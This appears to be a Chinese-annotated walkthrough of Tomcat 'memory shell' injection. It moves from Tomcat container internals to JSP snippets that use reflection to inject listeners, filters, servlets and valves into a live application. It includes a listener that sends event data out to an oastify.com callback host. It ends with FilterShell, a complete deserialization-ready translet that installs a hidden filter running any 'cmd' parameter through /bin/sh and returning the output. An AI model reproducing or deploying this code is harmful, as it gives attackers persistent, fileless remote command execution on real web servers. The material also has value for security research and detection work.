public class StandardWrapper extends ContainerBase
    implements ServletConfig, Wrapper, NotificationEmitter {
    // 构造函数，我们的pipeline中加入基本的阀，每个pipeline中必须有一个基本阀
    public StandardWrapper() {
        super();
        swValve=new StandardWrapperValve();
        pipeline.setBasic(swValve);
        broadcaster = new NotificationBroadcasterSupport();
    }
    // servlet类
    protected volatile Servlet instance = null;

    // 映射
    protected final ArrayList<String> mappings = new ArrayList<>();

    // 阀
    protected StandardWrapperValve swValve;

    @Override
    public Servlet allocate() throws ServletException {
        // ...
        boolean newInstance = false;

        // If not SingleThreadedModel, return the same instance every time
        // 这里涉及多线程访问servlet的问题，我们不关心
        if (!singleThreadModel) {
            // Load and initialize our instance if necessary
            if (instance == null || !instanceInitialized) {
                synchronized (this) {
                    if (instance == null) {
                        try {
                    // 获取servlet
                            instance = loadServlet();
                            newInstance = true;
                        } catch (ServletException e) {
                            throw e;
                        }
                    }
                    if (!instanceInitialized) {
                // 初始化servlet
                        initServlet(instance);
                    }
                }
            }
//  省略有关instancePool的代码，类似于线程池，复用servlet
            return instancePool.pop();
        }
    }


    public synchronized Servlet loadServlet() throws ServletException {
        Servlet servlet;
        try {
            InstanceManager instanceManager = ((StandardContext)getParent()).getInstanceManager();
            try {
                servlet = (Servlet) instanceManager.newInstance(servletClass);
            } catch (ClassCastException e) {
                //...
            }
            initServlet(servlet);
            // 事件通知机制，背后有listener监听
            fireContainerEvent("load", this);
            return servlet;
    }
}

final class StandardWrapperValve extends ValveBase {
    @Override
    public final void invoke(Request request, Response response)
        throws IOException, ServletException {

        boolean unavailable = false;
        requestCount.incrementAndGet(); //请求数量
        StandardWrapper wrapper = (StandardWrapper) getContainer(); // 获取wrapper
        Servlet servlet = null; // servlet
        Context context = (Context) wrapper.getParent(); // wrapper父容器，代表一个应用

        // 检查application是否可用
        // 检查servlet是否可用
        //...

        // 分配一个servlet实例来处理request请求
        try {
            if (!unavailable) {
                servlet = wrapper.allocate(); // 上文我们分析的allocate方法
            }
        } catch (Exception e) {
            // ...
        }

        // 设置一些属性
        // ...
        // 为请求创建一个过滤链
        ApplicationFilterChain filterChain =
                ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

        Container container = this.container;
        try {
            if ((servlet != null) && (filterChain != null)) {
                if (context.getSwallowOutput()) {
                    // 不重要
                } else {
                    if (request.isAsyncDispatching()) {
                        request.getAsyncContextInternal().doInternalDispatch();
                    } else {
                        // 执行过滤链逻辑
                        // 执行过程中也会嗲用servlet的service方法
                        filterChain.doFilter
                            (request.getRequest(), response.getResponse());
                    }
                }

            }
        } catch (ClientAbortException | CloseNowException e) {
            // ... 一些异常
        } finally {
            // ... 释放资源，重置时间
        }
    }
}

final class StandardContextValve extends ValveBase {
        @Override
    public final void invoke(Request request, Response response)
        throws IOException, ServletException {
        // .....
        // 注意这里
        wrapper.getPipeline().getFirst().invoke(request, response);
    }
}

public class StandardContext extends ContainerBase
        implements Context, NotificationEmitter {
    public StandardContext() {

        super();
        pipeline.setBasic(new StandardContextValve());
        broadcaster = new NotificationBroadcasterSupport();
        // Set defaults
        if (!Globals.STRICT_SERVLET_COMPLIANCE) {
            // Strict servlet compliance requires all extension mapped servlets
            // to be checked against welcome files
            resourceOnlyServlets.add("jsp");
        }
        // 监听器
        private String applicationListeners[] = new String[0];
        private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();
        // 初始化器
        private Map<ServletContainerInitializer,Set<Class<?>>> initializers = new LinkedHashMap<>();
        // ServletContext的标准实现，表示web应用程序的执行环境。这个类的一个实例与StandardContext的每个实例相关联。
        protected ApplicationContext context = null;
        // 过滤器配置
        private Map<String, ApplicationFilterConfig> filterConfigs = new HashMap<>();
        // 过滤器的定义信息
        private Map<String, FilterDef> filterDefs = new HashMap<>();
        // 类加载器
        private Loader loader = null;
        // 管理器
        protected Manager manager = null;
        // 资源
        private NamingResourcesImpl namingResources = null;
        // 访问参数
        private final Map<String, String> parameters = new ConcurrentHashMap<>();
        // ....等
    }
    @Override
    protected synchronized void startInternal() throws LifecycleException {
        // 该方法启动所有的线程
        namingResources.start();
        resourcesStart();
        ((Lifecycle) loader).start();
        ((Lifecycle) realm).start();
        // 启动子容器
         for (Container child : findChildren()) {
            if (!child.getState().isAvailable()) {
                child.start();
            }
        }
        ((Lifecycle) pipeline).start();
        ((Lifecycle) manager).start();
    }
}

@Override
    public void service(org.apache.coyote.Request req, org.apache.coyote.Response res)
            throws Exception {

        Request request = (Request) req.getNote(ADAPTER_NOTES);
        Response response = (Response) res.getNote(ADAPTER_NOTES);

        if (request == null) {
            // 创建request以及一些设置
        }

        if (connector.getXpoweredBy()) {
            response.addHeader("X-Powered-By", POWERED_BY);
        }

        boolean async = false;
        boolean postParseSuccess = false;

        req.getRequestProcessor().setWorkerThreadName(THREAD_NAME.get());

        try {
            // Parse and set Catalina and configuration specific
            // request parameters
            postParseSuccess = postParseRequest(req, request, res, response);
            if (postParseSuccess) {
                //check valves if we support async
                // 检查阀
                request.setAsyncSupported(
                        connector.getService().getContainer().getPipeline().isAsyncSupported());
                // Calling the container
                // 调用服务，调用容器，调用流水线，调用StandardEngineValve
                connector.getService().getContainer().getPipeline().getFirst().invoke(
                        request, response);
            }
            // ...
    }

<%
    Field f = request.getClass().getDeclaredField("request");
    f.setAccessible(true);//因为是protected
    Request req = (Request) f.get(request);//反射获取值
    StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext
    ServletRequestListener listener = new ServletRequestListener() {
        public void requestDestroyed(ServletRequestEvent sre) {
        }
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            try {
                Field reqField = req.getClass().getDeclaredField("request");
                reqField.setAccessible(true);
                // org.apache.catalina.connector.Request
                Object reqObj = reqField.get(req);
                // org.apache.catalina.connector.Response
                HttpServletResponse rep = (HttpServletResponse) reqObj.getClass().getDeclaredMethod("getResponse").invoke(reqObj);
                PrintWriter out = rep.getWriter();
                out.println("listener_xjj_test");

            }catch (Exception e){
                e.printStackTrace();
            }
        }
    };

    context.addApplicationEventListener(listener);
%>

<%@ page import="javax.servlet.ServletRequestListener"%>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.LifecycleListener" %>
<%@ page import="org.apache.catalina.LifecycleEvent" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.ProtocolException" %>
<%
    Field f = request.getClass().getDeclaredField("request");
    f.setAccessible(true);//因为是protected
    Request req = (Request) f.get(request);//反射获取值
    StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext
    ServletRequestListener listener = new ServletRequestListener() {

        public void requestDestroyed(ServletRequestEvent sre) {
        }

        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            try {
                Field reqField = req.getClass().getDeclaredField("request");
                reqField.setAccessible(true);
                // org.apache.catalina.connector.Request
                Object reqObj = reqField.get(req);
                // org.apache.catalina.connector.Response
                HttpServletResponse rep = (HttpServletResponse) reqObj.getClass().getDeclaredMethod("getResponse").invoke(reqObj);
                PrintWriter out = rep.getWriter();
                // rep.sendError(404);
                out.println("listener_xjj_test");
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    };

    LifecycleListener lifecycleListener = new LifecycleListener() {
        @Override
        public void lifecycleEvent(LifecycleEvent lifecycleEvent) {
            try {
                String url = String.format("http://%s.kpdqe2die2cb57xb28zkf1kp6gc70xom.oastify.com", lifecycleEvent.getData());
                URL obj = new URL(url);
                HttpURLConnection con = (HttpURLConnection) obj.openConnection();
                con.setRequestMethod("GET");
                con.getResponseCode();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    };

//    context.addApplicationEventListener(listener);
    context.addLifecycleListener(lifecycleListener);
//    context.addApplicationLifecycleListener(lifecycleListener);
%>

<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.io.PrintWriter" %>
<%
    //    context
    Field f = request.getClass().getDeclaredField("request");
    f.setAccessible(true);//因为是protected
    Request req = (Request) f.get(request);//反射获取值
    StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext

    // filter and filterDef
    // 注意填一些基本信息
    Filter filter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            servletResponse.getWriter().println("filter_xjj_test");
        }

        @Override
        public void destroy() {

        }
    };
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName("xjjFilter");
    filterDef.setFilterClass(filter.getClass().getName());
    context.addFilterDef(filterDef);

//    applicationConfig
    Constructor<ApplicationFilterConfig> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    declaredConstructor.setAccessible(true);
    ApplicationFilterConfig applicationFilterConfig = declaredConstructor.newInstance(context, filterDef);

    // context.filterConfigs reflect, 加入applicationconfig
    Field filterConfigs = context.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    Map map = (Map) filterConfigs.get(context);
    map.put("xjjFilter", applicationFilterConfig); //  add ApplicationfilterConfig to the filterConfigs

//    filterMap
    // 加入map之前一定先假如def，否则会做检查
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName("xjjFilter");

    context.addFilterMap(filterMap);
%>

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.Arrays" %>
<%
    // context
    Field f = request.getClass().getDeclaredField("request");
    f.setAccessible(true);//因为是protected
    Request req = (Request) f.get(request);//反射获取值
    StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext

    // servlet
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }

        @Override
        public ServletConfig getServletConfig() {
            return null;
        }

        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            servletResponse.getWriter().println("servlet_xjj_test");
        }

        @Override
        public String getServletInfo() {
            return null;
        }

        @Override
        public void destroy() {

        }
    };

    Wrapper wrapper = context.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setServlet(servlet);
    wrapper.setServletClass(servlet.getClass().getName());
    wrapper.setName("xjjWrapper");
//    // 没用
//    Wrapper[] children = (Wrapper[]) context.getChildren();
//    long count = Arrays.stream(children).filter(c -> c.getName().equals("xjjWrapper")).count();
//    if (count == 1) {
//        return;
//    }
    context.addChild(wrapper); // 父子容器记得关联
    // 添加servlet映射
    context.addServletMappingDecoded("/*", "xjjWrapper");
%>

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Pipeline" %><%
    // context
    Field f = request.getClass().getDeclaredField("request");
    f.setAccessible(true);//因为是protected
    Request req = (Request) f.get(request);//反射获取值
    StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext

    Valve valve = new Valve() {
        @Override
        public Valve getNext() {
            return null;
        }

        @Override
        public void setNext(Valve valve) {

        }

        @Override
        public void backgroundProcess() {

        }

        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            response.getWriter().println("xjj_valve_test");
        }

        @Override
        public boolean isAsyncSupported() {
            return false;
        }
    };

    Pipeline pipeline = context.getPipeline();
//    pipeline.setBasic();
    pipeline.addValve(valve);

%>

protected AbstractProcessor(Adapter adapter, Request coyoteRequest, Response coyoteResponse) {
    this.adapter = adapter;
    asyncStateMachine = new AsyncStateMachine(this);
    request = coyoteRequest;
    response = coyoteResponse;
    response.setHook(this);
    request.setResponse(response);
    request.setHook(this);
    userDataHelper = new UserDataHelper(getLog());
}

/**
* Created by xjj on 2023/7/14.
*/
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.*;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Modifier;
import java.util.Map;

public class FilterShell extends AbstractTranslet implements Filter {
    static {
        System.out.println("doInjectFilter");
        try {
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            //修改static final
            setFinalStatic(WRAP_SAME_OBJECT_FIELD);
            setFinalStatic(lastServicedRequestField);
            setFinalStatic(lastServicedResponseField);

            //静态变量直接填null即可
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);

            if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
                WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
                lastServicedRequestField.set(null, new ThreadLocal());
                lastServicedResponseField.set(null, new ThreadLocal());
            }else {
                ServletRequest servletRequest = lastServicedRequest.get();
                ServletResponse servletResponse = lastServicedResponse.get();

                //开始注入内存马
                ServletContext servletContext = servletRequest.getServletContext();
                Field context = servletContext.getClass().getDeclaredField("context");
                context.setAccessible(true);
                // ApplicationContext 为 ServletContext 的实现类
                ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
                Field context1 = applicationContext.getClass().getDeclaredField("context");
                context1.setAccessible(true);
                // 这样我们就获取到了 context
                StandardContext standardContext = (StandardContext) context1.get(applicationContext);

                //1、创建恶意filter类
                Filter filter = new FilterShell();

                //2、创建一个FilterDef 然后设置filterDef的名字，和类名，以及类
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName("Sentiment");
                filterDef.setFilterClass(filter.getClass().getName());

                // 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
                standardContext.addFilterDef(filterDef);
                //3、将FilterDefs 添加到FilterConfig
                Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
                Configs.setAccessible(true);
                Map filterConfigs = (Map) Configs.get(standardContext);

                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
                filterConfigs.put("Sentiment",filterConfig);

                //4、创建一个filterMap
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/*");
                filterMap.setFilterName("Sentiment");
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                //将自定义的filter放到最前边执行
                standardContext.addFilterMapBefore(filterMap);

                servletResponse.getWriter().write("Inject Success !");
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        if (request.getParameter("cmd") != null) {
            // 注意这块
            String[] cmds = {"/bin/sh","-c",request.getParameter("cmd")};
//            String[] cmds = {"cmd", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            byte[] bcache = new byte[1024];
            int readSize = 0;
            try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
                while ((readSize = in.read(bcache)) != -1) {
                    outputStream.write(bcache, 0, readSize);
                }
                response.getWriter().println(outputStream.toString());
            }
        }
    }

    @Override
    public void destroy() {
    }
    public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
        field.setAccessible(true);
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
    }
}